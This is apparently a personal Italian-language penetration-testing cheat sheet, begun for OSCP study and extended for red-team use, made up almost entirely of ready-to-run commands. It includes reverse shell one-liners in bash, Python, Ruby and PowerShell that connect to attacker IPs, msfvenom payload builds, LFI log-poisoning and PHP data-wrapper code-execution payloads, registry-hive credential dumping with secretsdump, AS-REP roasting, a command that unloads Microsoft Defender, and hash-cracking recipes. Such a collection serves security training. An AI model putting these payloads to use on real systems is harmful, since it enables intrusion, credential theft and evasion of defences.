
Ci sono molti cheat sheet in giro, ma questo è il mio.
Ci sono molti cheat sheet in giro, ma questo è il mio. È un lavoro in corso al momento, e vive come una bozza grezza che viene aggiornata spesso, a volte. L'ho iniziato mentre studiavo per l'OSCP, ma ora si sta evolvendo per includere cose più pratiche di cui ho bisogno come red teamer. Le nuove aggiunte molto probabilmente non saranno di alcuna utilità per l'esame, e potrebbero persino includere strumenti vietati.
Molto incompleta...
find / -name flag.txt per trovare file per nome.
grep -R "flag40" / -s -n cerca una stringa nei file, cercando ricorsivamente dalla directory root, senza output di errori.
dir /s flag.txt per trovare file chiamati flag.txt nella directory corrente e nelle sottodirectory.
Uno strumento utile -> wadcoms.github.io
nmap -sn 10.11.1.0/24 scansione di rete per trovare host.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt scansiona la rete per rilevare gli IP attivi, e salva gli indirizzi IP in una lista.nmap -A 10.10.10.10 per una scansione rapida delle porte TCP comuni con rilevamento di OS e servizi.
nmap -A 10.10.10.10 -p- per scansionare tutte le porte TCP con rilevamento di OS e servizi.
nmap -A -sU 10.10.10.10 per scansionare tutte le porte UDP con rilevamento di OS e servizi.
sudo nmap -O -A -sV 10.10.10.10 per scansionare tutte le porte TCP comuni, rilevare l'OS, eseguire script e catturare banner.
proxychains nmap -Pn -sT 10.10.10.10 -v perché le scansioni ICMP/UDP non funzionano.
Il flag -w per specificare il timeout in secondi e il flag -z per inviare zero dati (per la scansione)
nc -nvv -w 1 -z 10.11.1.220 3388-3390 scansione TCP delle porte 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 scansione UDP delle porte 160-162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.Mi piace anche dirsearch.
Wordlist utili su Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r enumerazione directory con big.txt di dirb, copia/incolla e basta IP/URL ed estensioni.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r enumerazione directory con la directory list di dirbuster, copia/incolla e basta IP/URL ed estensioni.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, forza bruta dei CGI.
Un modulo rsync è essenzialmente una condivisione di directory. Questi moduli possono essere opzionalmente protetti da password. Questa opzione elenca i moduli disponibili e, opzionalmente, determina se il modulo richiede una password per l'accesso**:**:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 Per elencare le condivisioni disponibili
smbclient //10.11.1.146/IPC$ per accedere a quella condivisione. Se non funziona, prova con sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o per usare enum4linux per automatizzare la condivisione smb.
Se puoi connetterti con accesso Null -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
Buon Articolo
Un altro utile articolo
showmount -e 10.10.10.10 per vedere i mount disponibili
mount -t nfs 10.10.10.10:/ /tmp -o nolock per montare la root, o qualunque altra cartella.
onesixtyone -c community -i ips scansiona la rete target per identificare server SNMP dove community e ips sono liste, community = (public, private, manager).
snmp-check 10.11.1.227 fa tutto ciò che segue, ma meglio e lo formatta in modo ordinato :)
snmpwalk -c public -v1 -t 10 10.11.1.115 enumera l'intero albero MIB.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumera gli utenti Windows.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumera i processi Windows in esecuzione.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumera le porte TCP aperte.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumera il software installato.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 ascolta (cattura) la reverse shell con Netcat sulla porta 4444
python -c 'import pty; pty.spawn("/bin/bash")' oppure python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war
Funziona anche per Cold Fusion invece della folle web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f raw > shell.jsp
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.49.133 LPORT=443 -f elf > shell.elf
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\3d" codifica i caratteri cattivi, shell Windows.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.11.0.4 LPORT=443 -b "\x00\x20" -f py -v shellcode Linux, con output Python come opzione.
Port forwarding locale. L'esempio sotto consente l'accesso ai servizi su pandora.htb, disponibili solo su localhost.
ssh -L 127.0.0.1:9050:pandora.htb:80 [email protected]
Port forwarding dinamico.
ssh -D 9050 [email protected]
Usa xfreerdp se rdesktop fallisce dandoti Certificate recieved from server is NOT trusted by this sytem,...
proxychains4 xfreerdp /u:dev /v:10.0.0.5:3389
sudo -l, se c'è qualcosa di interessante come eseguire script come utenti con NOPASSWD: ALL.
cat /etc/issueuname -r archfind / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
ps axu
ss -lnpt
ls -la /etc/cron.d stampa i cron job già presenti in cron.d
powershell -c "Invoke-WebRequest -Uri http://10.10.14.10/39719.ps1 -OutFile ./39719.ps1 Trasferimento file per principianti
systeminfo per ottenere buone informazioni.
tasklist /SVC per visualizzare i servizi in esecuzione.
sc queryex type=service state=all per interrogare tutti i servizi, siano essi in esecuzione o meno.
i686-w64-mingw32-gcc shell.c -o shell.exe Windows 32bit
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
x86_64-w64-mingw32-gcc 271.c -o 271.exe Windows 64bit
sudo python3 -m pyftpdlib -p 21.echo open 192.168.119.150>ftp.txt
echo USER anonymous a>>ftp.txt
echo binary>>ftp.txt
echo GET file.exe>>ftp.txt
echo bye>>ftp.txt
ftp -v -n -s:ftp.txt
Se non c'è l'alias wget, prova Invoke-WebRequest "http://192.168.119.229/mimikatz64.exe" -OutFile "C:\Users\administrator.xor\Desktop\m.exe".
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
msf-pattern_create -l 2196 genera un pattern unico per fare overflow dello stack.
msf-pattern_offset -l 2196 -q 72433372 individua l'offset del valore in EIP al momento del crash.
kali@kali: ~$ msf-nasm_shell
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > JMP EAX
00000000 FFE0 jmp eax
nasm >
Scrivi codice php nel file di log per eseguire comandi shell
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>
http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig chiama l'URL con LFI e GET['cmd']
Nota che il %00 alla fine aiuta a fare il lavoro se necessario.
https://sucka.com/internal/advanced_comment_system/index.php?ACS_path=http://192.168.119.150/test.txt%00
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?> per eseguire codice php arbitrario.
http://192.168.111.53:4443/site/index.php?page=data:text/plain,<?php echo shell_exec("powershell.exe -executionPolicy Unrestricted -InputFormat none -File reverse.ps1") ?> reverse shell tramite PowerSHell usando i wrapper
launchctl unload /Library/LaunchAgents/com.microsoft.wdav.tray.plist
C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save
Per estrarre i segreti/hash dai file salvati sopra impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL > SECRETS.DUMP && cat SECRETS.DUMP.
Per estrarre l'hash TGT di un utente di dominio che ha UF_DONT_REQUIRE_PREAUTH impostato: impacket-GetNPUsers -no-pass -dc-ip forest.htb htb/svc-alfresco.
Cheat sheet degli algoritmi di hash bob:$1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/:16903:0:99999:7:::
$1$ è MD5 (md5crypt)$2a$ è Blowfish$2y$ è Blowfish$5$ è SHA-256$6$ è SHA-512Il salt è Rrhb4lzg
L'hash è Ee8/JYZjv.NimwyrSEL6R/
1$Rrhb4lzg$Ee8/JYZjv.NimwyrSEL6R/ come bob.hashhashcat -m 500 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force per $1$hashcat -m 1800 -a 0 bob.hash /usr/share/wordlists/rockyou.txt --force per $6$Administrator:500:aad3b435b51404eeaad3b435b51404ee:3fee04b01f59a1001a366a7681e95699:::.hashcat -m 1000 -a 0 admin.hash ~/rockyou.txt --force.$DCC2$10240#Administrator#68381d9a192e14343ea381574668c83c.john --wordlist=~/rockyou.txt tgt.hash.$krb5asrep$23$svc-alfresco@HTB:6d400d8f440d63dcb3d152e07796abad$6fe3b792a228a8d460673fb0ddf4df02ee4f50e46bd0a02f8d3b722179aa342a743fa27779d984d44dc2ae6c0a96cb6de46a007a82cb24448b4dea2bdde5151c8c0b2a8dcd6c0a050e6d6f126f5ae495c127a486df91d51f3d08e79c218477caf936a189f34fe3df258360091161d4f935bf1b9cc0bb69cfd1ddfa60cc3426d4f49ad7926f74f6be6be4754fa4bbbbad2ca3d7f5df76ce34a03a85c4c7e9a6db76599acaa4ebe1ce5bdcfcc5caa7f883ab9cf99560cb1339eb87e7c175fc9c1d6123362be751c6fd9ca583512a4fdde5f833af279c64378bc7d321391f40c833.hashcat -m 13100 tgt.hash ~/rockyou.txt --force.